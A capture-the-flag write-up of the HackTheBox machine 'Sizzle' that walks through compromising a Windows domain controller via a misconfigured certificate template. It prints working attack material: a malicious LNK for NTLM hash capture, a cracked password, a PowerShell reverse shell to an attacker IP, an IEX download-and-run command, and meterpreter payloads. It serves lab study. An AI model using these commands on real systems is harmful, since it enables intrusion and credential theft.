My writeup – how to pwn my favorite box on hackthebox.eu, using a (supposedly) unintended path. Sizzle – created by @mrb3n813 and @lkys37en – was the first box on HTB that had my favorite Windows Server Role – the Windows Public Key Infrastructure / Certification Authority.
This CA allows a low-privileged user – amanda – to issue herself a client authentication certificate, which you then use to start a remote management session with Powershell.
To root Sizzle the (supposedly) intended way, you ‘sizzled’ another user (Kerberoasting), and then abuse one special permission granted to him – to use DCSync for stealing the Administrator’s hash. Pass-the-hash gives you an admin shell.
But a loophole in the configuration of the PKI lets you go from amanda to root directly.
Summary – tl;dr: amanda can edit the templates for certificates, and add the Extended Key Usages required for Smartcard Logon. Submitting a certificate request with the Administrator’s name(s) to the CA gives you a credential to impersonate the admin. Importing certificate and key onto a physical card or crypto token lets you use command line tools with the option /smartcard. In order to make these tools work you need to join a Windows box to sizzle’s domain and set up your fake DNS server with service records for this domain.
Contents
Initial Enumeration: Spotting the Windows PKI!
Confirming a theory about client certificates, and playing with revocation lists.
Enumerating domain users over Kerberos UDP.
Writing a LNK file to the share, and sniffing amanda’s hash.
Enrolling a client certificate for amanda and starting a PS Session.
Background. The UPN risk. Discovering the misconfiguration of certificate templates.
Considering potential attack vectors: Software certificates versus hardware logon tokens.
Getting a meterpreter shell and routing traffic through it.
Preparing a Certificate Signing Request on behalf of the Administrator.
Editing templates and first attempt of attack setup: msf on Windows!
Editing certificate templates and requesting ‘malicous’ client auth certificates. PSSession Let-Down.
Creating a hardware logon token for impersonating the Administrator
Proxies, fake DNS, and forwarding ports once more with proxychains socat
Joining a Windows client to the htb.local domain
Summary of the solution so far
Finally: Using the Administrator’s token!
Creating a (not really stealthy) backdoor admin
Initial Enumeration: Spotting the Windows PKI! [>> Contents]
The portscan reveals many open ports – which tells that Sizzle is a Windows Domain Controller of a domain called htb.local. However Kerberos TCP 88 is missing – and this will come to haunt us later :-)
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: |_ SYST: Windows_NT 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 |_ssl-date: 2019-01-13T16:09:41+00:00; +24s from scanner time. 443/tcp open ssl/http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 |_ssl-date: 2019-01-13T16:09:42+00:00; +24s from scanner time. | tls-alpn: | h2 |_ http/1.1 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 |_ssl-date: 2019-01-13T16:09:41+00:00; +23s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 |_ssl-date: 2019-01-13T16:09:42+00:00; +24s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=sizzle.htb.local | Not valid before: 2018-07-03T17:58:55 |_Not valid after: 2020-07-02T17:58:55 |_ssl-date: 2019-01-13T16:09:41+00:00; +23s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found | ssl-cert: Subject: commonName=sizzle.HTB.LOCAL | Subject Alternative Name: othername:, DNS:sizzle.HTB.LOCAL | Not valid before: 2018-07-02T20:26:23 |_Not valid after: 2019-07-02T20:26:23 |_ssl-date: 2019-01-13T16:09:41+00:00; +23s from scanner time. | tls-alpn: | h2 |_ http/1.1 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49679/tcp open msrpc Microsoft Windows RPC 49681/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49683/tcp open msrpc Microsoft Windows RPC 49686/tcp open msrpc Microsoft Windows RPC 49692/tcp open msrpc Microsoft Windows RPC 49702/tcp open msrpc Microsoft Windows RPC 52562/tcp open msrpc Microsoft Windows RPC 52582/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.70%I=7%D=1/13%Time=5C3B622E%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 23s, deviation: 0s, median: 22s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2019-01-13 17:09:41 |_ start_date: 2019-01-12 20:01:42 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 179.39 seconds
The webserver on port 80 only shows an image of sizzling bacon, but port 443 and the TLS Certificate immediately have my attention: This CRL (Certificate Revocation List) Distribution Point extension is the tell-tale sign of an Active-Directory Integrated Windows PKI – it points to an object in the configuration container of AD:
There is also an FTP server to which we can logon anonymously – but it does not hold any files nor can we put files. I have spent a while to write a python tool to fuzz other FTP folders!
I can enumerate some non-default SMB shares with smbclient:
smbclient -L //10.10.10.103 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share CertEnroll Disk Active Directory Certificate Services share Department Shares Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share Operations Disk SYSVOL Disk Logon server share
Again, there is the signature Windows PKI share – the CertEnroll share, for downloading the CA certificate and revocation lists. The comment gives away the exact name of the server role: Active Directory Certificate Services.
Confirming a theory about client certificates, and playing with revocation lists. [>> Contents]
The Windows Certificate CA as an optional web interface – a simple ASP web application – to be found at /certsrv. Accessing it with the browser confirms that it is installed, but as expected (default config) it cannot be accessed anonymously.
So I need credentials of a Windows domain user – then I would be able to enroll for a client certificate. The Windows web server IIS allows for either 1:1 manual mapping of individual certificates or for Active-Directory-based mapping of certificates via matching the User Principal Name in the certificate – to a user with the same UPN in AD. This will also become important later, for the unintended method.
I want to confirm that I will be able to use a client certificate for something. What web applications are there? Ports 5986 and 5985 stick out – the default ports for WinRM – Windows Remote Management Service.
In order to test WinRM, I forward the relevant ports from Kali Linux to a Windows box:
socat TCP-LISTEN:5985,fork TCP:10.10.10.103:5985 & socat TCP-LISTEN:5986,fork TCP:10.10.10.103:5986 &
If I want to use client certificates, I better also get the validation of the server certificate right first. So I add the host name sizzle.htb.local to the hosts file on Windows, with the IP address of my Kali box, then I need the CA certificate(s).
I downloaded the CA certficate by ‘guessing’ the default HTTP download path a Windows CA uses. This is the Issuer Name as displayed in the TLS server certificate
CN = HTB-SIZZLE-CA DC = HTB DC = LOCAL
… so the default HTTP Path to a Windows CA certificate is:
http://sizzle.htb.local/CertEnroll/sizzle.htb.local_HTB-SIZZLE-CA.crt
This URL can, as an option, be added to the certificate extension AIA – Authority Information Access – of issued certficates. Sizzle does not use that, but only has LDAP AIA URLs, so you don’t see the URL in the TLS server certificate. The web URL works nonetheless.
It is a self-signed certificate, so there is only ‘one level’ in this PKI, and I import the certificate to Trusted Root Certificatíon Authorities cert store on Windows with certmgr.msc. A test of the certificate chain with …
certutil -verify sizzle.htb.local
… fail with a revocation error as expected. The ‘serverless’ LDAP:/// URL pointing to the CRL objects is not available for two reasons: You do not find the actual LDAP server (yet), and you cannot access Active Directory anonymously.
But the CRL file is also there at the default ‘guessed’ URL – the file name being equal to the Common Name on the CA’s certificate:
http://sizzle.htb.local/CertEnroll/HTB-SIZZLE-CA.crl
Certificate revocation still fails after importing that file, because the Sizzle CA also uses the default Delta CRLs. The Base CRL hints at the existence of an ‘incremental’ Delta CRL via the extension Freshest CRL:
The Delta CRL is also available at its default HTTP URL:
http://sizzle.htb.local/CertEnroll/HTB-SIZZLE-CA+.crl
Both CRL files can be imported on the Windows box I want to use for the PSSession, using certutil or certmgr.msc:
So we are finally ready for the ‘expected error message’, trying to start an unauthenticated session with:
Enter-PSSession -ComputerName sizzle.htb.local -UseSSL
… and we indeed learn we should indeed use ClientCerts \o/
If youI got tired of playing with CRLs (to be re-imported every few days) you can also skip the revocation check directly in Powershell:
Enter-PSSession -ComputerName sizzle.htb.local -UseSSL -SessionOption(New-PSSessionOption -skipRevocationcheck)
Enumerating domain users over Kerberos UDP. [>> Contents]
I consider brute-forcing the password for a user, and I need to confirm which users actually exist I mount all SMB shares I can, incl. the share Department Shares
mount.cifs '//sizzle/Department Shares' smbfs
Contents of smfs
Accounting Devops Infrastructure Marketing Tax Audit Finance IT 'R&D' Users Banking HR Legal Sales ZZ_ARCHIVE CEO_protected Infosec 'M&A' Security
The folder Users contains a bunch of sub-folders:
amanda bill chris joe lkys37en mrb3n amanda_adm bob henry jose morgan Public
… from whose names and a bunch of default names (as Administrator or guest) I create a list of potential users – users.txt:
administrator guest DefaultAccount amanda amanda_adm bill bob chris henry joe jose lkys37en morgan mrb3n
nmap has a script for enumerating users over Kerberos UDP 88. This port is accessible externally, in contrast to TCP 88:
nmap -sU -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='htb.local',userdb=users.txt -vvv 10.10.10.103
I can confirm that guest, amanda and Administrator do exist
PORT STATE SERVICE REASON 88/udp open|filtered kerberos-sec no-response | krb5-enum-users: | Discovered Kerberos principals | administrator@htb.local | amanda@htb.local |_ guest@htb.local
However, I was not able to brute-force amanda’s password in a reasonable time. I think hydra cannot do a NTLM logon, but only Basic Authentication. But the trace of an attempt to logon via the browser shows the NTLM logon:
Writing a LNK file to the share, and sniffing amanda’s hash. [>> Contents]
Having tried to also brute-force the logon over SMB unsuccessfully (with hydra and the metasploit module smb_login) I inspect poke around the shares again. Finally, I realize that I can write to the folder /Users/Public in the share Department Shares.
What if somebody – a simulated amanda user hopefully – would ‘look’ at files I write periodically? So I re-use part of what I have done on the box Ethereal, and create a ‘malicious’ shortcut file – a link pointing to my own box.
I used the powershell commands provided in in this article to create a simple LNK file:
$objShell = New-Object -ComObject WScript.Shell $lnk = $objShell.CreateShortcut("test.lnk") $lnk.TargetPath = "\\10.10.14.21\share" $lnk.WindowStyle = 1 $lnk.IconLocation = "%windir%\system32\shell32.dll, 3" $lnk.Description = "Hi there" $lnk.HotKey = "Ctrl+Alt+O" $lnk.Save()
I started responder on Kali as my fake file file server with
responder -wrf -v -I tun0
… then copy by test.lnk to the folder /Users/Public, and immediately get a callback. I can collect lots of hashes, like this one:
[SMBv2] NTLMv2-SSP Client : 10.10.10.103 [SMBv2] NTLMv2-SSP Username : HTB\amanda [SMBv2] NTLMv2-SSP Hash : amanda::HTB:0ca7982a6e25e95b:4281E64C70D54C315DD06861D421C2D5:0101000000000000C0653150DE09D2013E33784022E5E1CD000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000000A1A989A69067922647E05D8B94A1515425B93A3DFC90D4731FD9EBAD8C7C05F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0031003900000000000000000000000000
The hash can be cracked quickly with hashcat. Checking the list of example hashes shows that we need hash type 5600 for cracking NTLMv2 hashes:
hashcat64.exe -m 5600 _hashes\sizzle-amanda.txt _wordlists\rockyou.txt
Now I have amanda’s password:
Ashare1972
Enrolling a client certificate for amanda and starting a PS Session. [>> Contents]
I can finally logon to the /certsrv web application as amanda. This website lets you either use a certificate signing request you generated with any tool – like openssl or certreq on Windows. You could also let the web site trigger the key generation for you. I wanted the certificate as quickly as possible, so I picked the latter method (I am going to show the file-based method in the part about the unintended way).
Socat-ing port 443 to the Windows box, start Internet Explorer, and enterthe user HTB\amanda and password …
Click on Request a certificate shows the page with the two options:
Advanced certificate request refers to either sending a pre-created CSR or to changing certificate attributes. I pick User Certificate which is for doing a next-next-finish key generation and request submission, pulling all needed attributes from Active Directory:
Clicking Submit may result in error if this server had not been added to the Intranet Zone in IE Security settings. After fixing that, I get the ActiveX popup – now a key is generated in my personal certificate store and the request sent to the Sizzle CA:
OK … waiting for the response … and one more ActiveX popup:
Finally the certificate is ‘installed‘, that is imported to the personal store and re-united with its key. (Save response give you the option to also save the BASE64-encoded certificate.)
The certificate is now visible under Personal Certificate in certmgr.msc or can be checked with certutil:
certutil -store -user my
Relevant part of the output :
... ================ Certificate 8 ================ Serial Number: 6900000016942f3e8913c6b5ec000000000016 Issuer: CN=HTB-SIZZLE-CA, DC=HTB, DC=LOCAL NotBefore: 17.01.2019 17:38 NotAfter: 17.01.2020 17:38 Subject: CN=amanda, CN=Users, DC=HTB, DC=LOCAL Certificate Template Name (Certificate Type): User Non-root Certificate Template: User Cert Hash(sha1): 04b832d04ec8ae222aa24a80ac064f481d2abc15 Key Container = {FD89D358-0EA3-49C9-B102-48EFB2C24D5F} Unique container name: 1d1f0d178a2e6518c18d17f5d6e8e881_daa0af9e-c489-45ac-9159-1f80602318c7 Provider = Microsoft Enhanced Cryptographic Provider v1.0 Encryption test passed CertUtil: -store command completed successfully.
The verbose output of certutil …
certutil -v -store -user my 04b832d04ec8ae222aa24a80ac064f481d2abc15
… shows (among many other extensions) that this a multi-purpose certificate for Client Authentication, E-Mail, and Encrypting File System. It also contains amanda’s User Principal Name which maps the certificate to a user for logon purposes:
... 2.5.29.37: Flags = 0, Length = 22 Enhanced Key Usage Encrypting File System (1.3.6.1.4.1.311.10.3.4) Secure Email (1.3.6.1.5.5.7.3.4) Client Authentication (1.3.6.1.5.5.7.3.2) 2.5.29.17: Flags = 0, Length = 24 Subject Alternative Name Other Name: Principal Name=amanda@HTB.LOCAL ...
I use this sha1 hash as an option in the Enter-PSSession command, and finally we can logon as amanda!
Enter-PSSession -ComputerName sizzle.htb.local -UseSSL -CertificateThumbprint 04b832d04ec8ae222aa24a80ac064f481d2abc15
… or if my imported CRLs have been expired, I do:
Enter-PSSession -ComputerName sizzle.htb.local -UseSSL -SessionOption(New-PSSessionOption -skipRevocat ioncheck) -CertificateThumbprint 04b832d04ec8ae222aa24a80ac064f481d2abc15
And I am amanda! \o/
[sizzle.htb.local]: PS C:\Users\amanda\Documents>
The good thing about all certificates created for accessing sizzle: They will also remain valid when the box is reset! The DC validates the certicate path, attributes, dates, and revocation status, but the CA does not check if the certificate is in its database!
Background. The UPN risk. Discovering the misconfiguration of certificate templates. [>> Contents]
Certificate templates are LDAP objects whose attributes define how future certificates created from this templates will look like, and who can enroll for these templates. If you can edit all properties of a certificate template or create a new one, you can become whoever you want in a Windows AD forest:
If AD-based mapping is enabled in applications using certificates for logon, User Principal Names in certificates are automatically mapped to the AD user with the corresponding userPrincipalName attribute of the user’s LDAP object. So mapping is based on a string ‘only’. Why is that secure? Because any application using AD for logon also checks if the CA’s certificate has been imported into a special object in the PKI Services container (NTAuth). This object can per default be only managed by Enterprise Admins – and so can certificate templates!
The following templates are available for amanda at (‘published to’) the Sizzle CA, as the dropdown menu in the certsrv application (advanced options, file-based request) shows: I do not want to mess up other hackers’ certificate requests – I focus on the template for the server – SSL – assuming that everybody will try to use templates related to User …. So I check out the permissions on certificates with
certutil -v -dstemplate
That command also runs in amanda’s constrained language mode powershell shell. It results in a super detailed list of all attributes of all templates in AD! This is the start of the output for the SSL template – and *yikes*:
Authenticated Users, that is every user and every computer account in the forest(!) are able to change that template!
[SSL] objectClass = "top", "pKICertificateTemplate" cn = "SSL" distinguishedName = "CN=SSL,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=HTB,DC=LOCAL" instanceType = "4" whenCreated = "20180703180611.0Z" 7/3/2018 1:06 PM whenChanged = "20180703180645.0Z" 7/3/2018 1:06 PM displayName = "SSL" uSNCreated = "16440" 0x4038 uSNChanged = "16445" 0x403d showInAdvancedViewOnly = "TRUE" nTSecurityDescriptor = "D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2379389067-1826974543-3574127760-519)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;LA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)" Allow Full Control HTB\Domain Administrators Allow Full Control HTB\Enterprise Admins Allow Full Control HTB\Administrator Allow Full Control NT AUTHORITY\Authenticated Users
So far, this template is only for Server Authentication, but it already has a desired property: Names can be sent in the request, as you would expect for a server certificate:
name = "SSL" objectGUID = "50e0c82d-3a98-4bab-98a0-a8cf58e27c86" flags = "131649" 0x20241 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1 (CT_FLAG_ADD_EMAIL -- 2) (CT_FLAG_ADD_OBJ_GUID -- 4) (CT_FLAG_PUBLISH_TO_DS -- 8) (CT_FLAG_EXPORTABLE_KEY -- 10 (16)) (CT_FLAG_AUTO_ENROLLMENT -- 20 (32)) CT_FLAG_MACHINE_TYPE -- 40 (64) (CT_FLAG_IS_CA -- 80 (128)) (CT_FLAG_ADD_DIRECTORY_PATH -- 100 (256)) CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512) (CT_FLAG_ADD_SUBJECT_DIRECTORY_PATH -- 400 (1024)) (CT_FLAG_IS_CROSS_CA -- 800 (2048)) (CT_FLAG_DONOTPERSISTINDB -- 1000 (4096)) (CT_FLAG_IS_DEFAULT -- 10000 (65536)) CT_FLAG_IS_MODIFIED -- 20000 (131072) (CT_FLAG_IS_DELETED -- 40000 (262144)) (CT_FLAG_POLICY_MISMATCH -- 80000 (524288))
If we only had access to the User template, we’d be required to change this flag to allow the ‘enrollee’ to supply a name. With this setting amanda can add any UPN of her liking to a logon certificate, like Administrator@HTB.LOCAL, and the CA will accept it.
Howvwer, the Extended Key Usage will need amendment – it does not yet include any OID suitable for client logon (or smartcard logon):
pKIExtendedKeyUsage = "1.3.6.1.5.5.7.3.1" Server Authentication
Considering potential attack vectors: Software certificates versus hardware logon tokens. [>> Contents]
This could be potentially abused in two ways:
Issue a (software-based) client authentication certificate in the Administrator’s name and use that to enter a PSSession as the admin. It requires to add the UPN and to include the EKU Client Authentication – as Powershell checks for that. Spoiler: Certificate issuance does work, but the logon finally does not. Domain Admins are not allowed to use WinRM.
Issue a (software-based) certification also including the Extended Key Usage called Smart Card Logon. Then use windows cmd line tools that have the option /smartcard. Candidate commands are:
net use \\sizzle.htb.local\c$ /smartcard runas /smartcard cmd
The latter should require – or is at least much easier and straight-forward when you have – a client joined to sizzle’s domain! But that is something that should work for a low-privileged user. Years ago I used to renew a (legit ;-)) smartcard as a member of domain whose network I hardly every entered: I regularly joined a test box to this domain over VPN – so I am determined to join a box to HTB.LOCAL now!
But in order to join a box to the domain, logon, or also to edit template using the Certificate Templates Management console, I needed access to all the ports!
Getting a meterpreter shell and routing traffic through it. [>> Contents]
The powershell shell is limited, as a test of the language mode shows:
[sizzle.htb.local]: PS C:\Users\amanda\Documents> $ExecutionContext.SessionState.LanguageMode ConstrainedLanguage
Fortunately version 2 of Powershell is available, so this can be bypassed with
[sizzle.htb.local]: PS C:\Users\amanda\Documents> powershell.exe -version 2 -c 'write-host $ExecutionContext.SessionState.LanguageMode' FullLanguage
I wanted to get a meterpreter shell to be able to forward not externally exposed ports. After zillions of failed attempts to run a payload despite Defender (Ebowla, unicorn…) this was the method that worked reliably for me:
Get a simple ‘nishang’ shell, by running this code …
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.21',8998);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
… from a script on my webserver:
[sizzle.htb.local]: PS C:\Users\amanda\Documents> powershell.exe -version 2 -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.21:81/nishang.ps1')"
I receive the simple shell with metasploit using this handler:
use exploit/multi/handler set payload windows/x64/shell_reverse_tcp set LHOST 10.10.14.21 set LPORT 8998 exploit -j
Prepare a psh (powershell) payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.21 LPORT=8999 -f psh -o sh.ps1
Start a handler for meterpreter – 2nd stage encoding is crucial, otherwise the shell dies immediately, killed by Defender I guess:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.10.14.21 set LPORT 8999 set ExitOnSession false set EnableStageEncoding true exploit -j
I run the powershell payload via the msf module, using the simple shell session (1):
use post/windows/manage/powershell/load_script set SCRIPT sh.ps1 set SESSION 1
… and I now have two sessions. Since msf often needed two attempts for the 2nd stage, so I have now simple shell session 1 and meterpreter session 3:
msf5 post(windows/manage/powershell/load_script) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell x64/windows 10.10.14.21:8998 -> 10.10.10.103:65378 (10.10.10.103) 3 meterpreter x64/windows HTB\amanda @ SIZZLE 10.10.14.21:8999 -> 10.10.10.103:65384 (10.10.10.103)
The benefit of the meterpreter shell is the option to route otherwise inaccessible ports to my Kali box. I set an entry for the to-be-created socks proxy server in my /etc/procxhains.conf
... [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" # socks4 127.0.0.1 9050 socks4 127.0.0.1 8088 ...
A socks proxy is created as a job in metasploit:
use auxiliary/server/socks4a set SRVPORT 8088 run
… and I finally route traffic for Sizzle through the meterpreter session 3
route add 10.10.10.0 255.255.255.0 3
Preparing a Certificate Signing Request on behalf of the Administrator. [>> Contents]
Certificate templates dictate some of the properties of a certificate, so you only need to add the attributes and extensions that you can actually enforce. I created all CSRs with the Certificates MMC (certmgr.msc) for the current user.
The request has to include the UPN in the Subject Alternative Name. In case some non-default name-mapping is in place I also make sure the subject name is correct – as cross-checked with the properties of the Administrator user in AD, in amanda’s PSSession:
[sizzle.htb.local]: PS C:\> $users = get-aduser -filter * [sizzle.htb.local]: PS C:\> $users DistinguishedName : CN=Administrator,CN=Users,DC=HTB,DC=LOCAL Enabled : True GivenName : Name : Administrator ObjectClass : user ObjectGUID : fcf33152-0104-4ccb-8db6-3ec7f3549ca8 SamAccountName : Administrator SID : S-1-5-21-2379389067-1826974543-3574127760-500 Surname : UserPrincipalName :
Note that the UPN is empty – as is the UPN of all AD Users. But yet, amanda’s logon certificate had the UPN, so some ‘default name routing’ is in place.
Now craft a custom request, using this information:
Make also sure that the key is exportable, and matches the minimum size. The minimum size is displayed in the certutil dump of the templates’ properties inspected earlier.
msPKI-Minimal-Key-Size = "2048" 0x800
For usage on a smartcard, the cards chip and middleware also needs to support that size. I use a ‘legacy’ software crypto provider whose choice does not matter (as I plan to import the key and certificate onto hardware, but I do not create the request in hardware).
Next – next – finish, save the BASE64 file. Check the contents of the request with certutil to make sure the UPN is included:
certutil Administrator-2018bit.req.txt... Attribute[3]: 1.2.840.113549.1.9.14 (Certificate Extensions) Value[3][0], Length = ae Certificate Extensions: 5 2.5.29.17: Flags = 0, Length = 2b Subject Alternative Name Other Name: Principal Name=administrator@htb.local ...
Editing templates and first attempt of attack setup: msf on Windows! [>> Contents]
I installed metasploit directly on Windows and repeated all the steps described above. I used a Windows domain controller, because I wanted to forward DNS queries from my DC to sizzle.htb.local, using the Sizzle box as a Conditional Forwarder for the domain htb.local:
It is not sufficient to configure a hosts record for sizzle.htb.local as the Windows logon requires correct replies to queries for several service – SRV – records. But I can not configure Sizzle as the primary DNS server for that box – as this box also had to maintain the openVPN connection! So my DC forwarded requests to Sizzle:
C:\hackthebox>nslookup Default Server: localhost Address: 127.0.0.1 > sizzle.htb.local Server: localhost Address: 127.0.0.1 Non-authoritative answer: Name: sizzle.htb.local Addresses: dead:beef::6d6e:7369:708a:e8a8 10.10.10.103
After I started the WinRM session on this Windows DC, I could automagically access services on Sizzle via Microsoft Management Consoles, as described here, and it seems the externally available RPC/DCOM ports were sufficient. I was able to use also other MMCs, such as Active Directory Users and Computers:
… and the desired Certificate Templates console. I re-targeted my console to Sizzle:
Here is the template SSL we want to abuse:
Editing certificate templates and requesting ‘malicous’ client auth certificates. PSSession Let-Down. [>> Contents]
I just change the Extended Key Usage / Application Policy Extensions to include also Client Authentication
After saving the template, new certificates submitted at the /certsrv web application will show the updated Extended Key Usages. I am using the ‘advanced’ request options – as no new key is generated but just a file HTTP POSTed, there is no ActiveX control troubleshooting involved:
Note: You could add the UPN ‘again’ in the Attributes field, using the sytax
UPN:administrator@htb.local
But this is only required if the CSR does not yet contain the UPN, and using the form field requires an additional registry flag to be set at the CA. However, re-adding the UPN here does not hurt either…
The certificate is again returned immediately – it shows the intended UPN and these EKUs
Client Authentication (1.3.6.1.5.5.7.3.2) Server Authentication (1.3.6.1.5.5.7.3.1)
However, logging on to the PSSession fails! It also does for a certificate for the other Domain Administrator sizzler@htb.local. Nor does it help to remove Server Authentication or spell the domain as HTB.LOCAL. So Domain Admins are not alloed to use WinRM:
So I need to turn to the harder option 2 …
Creating a hardware logon token for impersonating the Administrator [>> Contents]
I have to import the certificate to a USB crypto token (which has the same type of chip as a smartcard)!
First I need to go back to the Certificate templates console and add also the EKU Smartcard Logon. I also removed Server Authentication (Superfluous extensions may or may not break something – it’s all up to the application using a certificate).
Then I re-submit the CSR for administrator@HTB.LOCAL (you don’t have to create a new CSR) and receive a new certificate with these EKUs. The certificate is imported to the local user’s store where I had created the CSR – double-click and confirm the import to Personal.
This is literally the key to the kingdom:
Fortunately, I have some SafeNet eTokens for tests!
To transfer the certificate and key, it has to be exported to a pfx file first. Again, I use certmgr.msc – copy to file, select to export also the key:
I installed the SafeNet Authentication Client – middleware / crypto provider plus management tools, set a PIN, and use the function to import a certificate from a (pfx) file:
Proxies, fake DNS, and forwarding ports once more with proxychains socat [>> Contents]
The following turned out to be more difficult than expected – I am summarizing hours of testing as: Seems you cannot force Kerberos over a proxy on Windows, ‘proxychains-style’.
I tested several different proxy tools for Windows, the most promising was proxyfier. The simpler ones can’t handle the “low-level” applications anyway, but proxyfier has an option to deal with Windows services. It seems it can work as a Winsock proxy. If I recall correctly, there are differen sorts of proxies in Windows, and SMB uses Winsock. So least I finally can forward SMB that way, so accessing shares anonymously works. But as soon as I want to use net use /smartcard, I see packets sent to TCP port 88, getting nowhere.
Proxyfier even warned me that a certain ruby application (msf) would run into an infinite loop if I tried to proxy it :-) But I could for my life not get TCP 88 proxied on Windows, so I had to re-design the whole setup!
Back to Kali and using proxychains socat to forward all the ports routed over the meterpreter session! Kali would not care about Windows-protocol specifics, I’d call that ‘port laundering’!
I proxychain socat-ed nearly everything I saw in netstat on Sizzle, TCP and UDP, plus an RPC high port I saw later in wireshark.
Example command for TCP and UDP 88:
proxychains socat TCP-LISTEN:88,fork TCP:10.10.10.103:88 & proxychains socat UDP-LISTEN:88,fork,reuseaddr UDP:10.10.10.103:88 &
UDP Ports forwarded:
88, 389, 464
TCP ports forwarded – the RPC high ports seem to change, so this list looked a bit different for every join. This is the ‘union’ of all ports I ever used.
21,80,88,135,139,389,443,445,464,593,636,3268,3269,9389,47001,49664,49665,49666,49667,49669,49679,49681,49683,49686,49692,49702,52562,52582,49701
Note that the WinRM ports 5985 and 5986 remained forwarded ‘normally’ without proxychains socat all the time! So I am using one Windows box for WinRM, and I add another Windows box to the setup as the future ‘victim’ domain member.
I did not forward DNS as that would screw up the discovery of Kerberos and LDAP services: The Windows victim client will believe that my Kali box is the domain controller sizzle.htb.local, and it accessed it under my local 192.168.x.y address. When I would forward DNS queries to the true sizzle DC, it would respond with service records pointing to 10.10.10.103 … which the victim Windows box would not be able to locate. I tried some crazy things with ARP poisoning, but the solution is simpler: I set up dnsmasq as a fake DNS server on my Kali box and added all the required SRV records:
dnsmasq uses the dnsmasqhosts file instead of /etc/hosts plus settings in the dnsmasq.conf file that make the box the authoritative DNS server for htb.local
/etc/dnsmasqhosts
192.168.x.y sizzle.htb.local
